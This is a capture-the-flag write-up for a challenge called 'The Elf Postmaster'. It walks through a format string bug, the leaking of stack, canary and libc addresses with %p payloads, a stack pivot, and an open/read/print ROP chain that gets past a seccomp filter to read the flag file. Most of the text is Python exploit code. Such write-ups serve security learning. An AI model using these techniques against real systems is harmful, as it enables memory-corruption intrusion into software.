# The Elf Postmaster
A quick look in Ghidras decompiled code for the main function tells us, that we are dealing with a format string vulnerabilty.
The first one:```C++    fgets(local_118,0x100,stdin);    printf("Oh, greetings ");    printf(local_118);```
And the second one in a lopp:
```C++    fgets(local_118,0x100,stdin);    printf("Okok, I am taking notes, so you said: ");    printf(local_118);```
`local_118` is directly under our control, so lets send a lot of %p's to get the infos out (`p.sendline("%p" * 80`)! The interesting values were at position 30, 39, 40 and 41 and the rest could be calculated (we know from the Dockerfile that we are dealing with Ubuntu 18.04).
```pythonpayload = "%30$p %39$p %40$p %41$p"p.sendline(payload)p.recvuntil("Oh, greetings ")stack, canary, binbase, ret = p.recvline().rstrip().split(" ")
stack    = int(stack, 16)  #some address from the stackrsp      = stack - 0x128   #address of stackpointerret_addr = stack - 0xd8    #address of ret(2libc)ret      = int(ret, 16)    #ret valuelibcbase = ret - 0x21b97;  #libc base calculation for ubuntu 18.04binbase  = int(binbase , 16) - 0xc00 canary   = int(canary, 16)```
The write function, writes the second parameter relative to the leaked address to the stack. I get some weird crashes due to the Ubuntu 18.04 16-byte Stack-Alignment-Restriction on memory operations, so I shift the rsp around to get rid of it.
```pythonwrite(-0x10, (libcbase + POP_RSP_OFFSET), 32)      # -0x10 is the location of ret addresswrite(-0x08, (rsp + 0x40), 48)                     # New StackPointer 16-Byte aligned```
There was a Seccomp restrction enabled, so we only could use a few syscalls and all the fancy shell opening ones were missing. But it's a CTF so we want to get the content of a file. Open and read weren't restricted and we know that the file was locatead at `/home/ctf/flag.txt` (or later chrooted to `/flag.txt`).
The only thing left is open the file, read it and print the content. Flag captured!
```pythonpayload = "A" * 0x10 + "/flag.txt\x00" + "A" * 30  payload += p64(libcbase + RET_OFFSET)                   
# Open Filepayload += p64(libcbase + POP_RDI_OFFSET)          payload += p64(rsp + 0x10) # 1                     payload += p64(libcbase + POP_RDX_RSI_OFFSET)      payload += p64(0x00) # 3payload += p64(0x00) # 2payload += p64(libcbase + RET_OFFSET)              payload += p64(libcbase + OPEN_OFFSET)   
# Read Filepayload += p64(libcbase + RET_OFFSET)              payload += p64(libcbase + POP_RDI_OFFSET)payload += p64(0x03) # 1payload += p64(libcbase + POP_RDX_RSI_OFFSET)payload += p64(0x40) # 3payload += p64(stack + 0x8) payload += p64(libcbase + RET_OFFSET)              payload += p64(libcbase + READ_OFFSET)
# Print Flagpayload += p64(libcbase + RET_OFFSET)              payload += p64(libcbase + POP_RAX_OFFSET)payload += p64(binbase + 0xb4c)payload += p64(libcbase + MOV_RDI_RSI_OFFSET)
p.sendline(payload)
p.sendline("end of letter")p.recvuntil("year!")
print "\n"flag = p.recvuntil("}")print flagprint "\n"```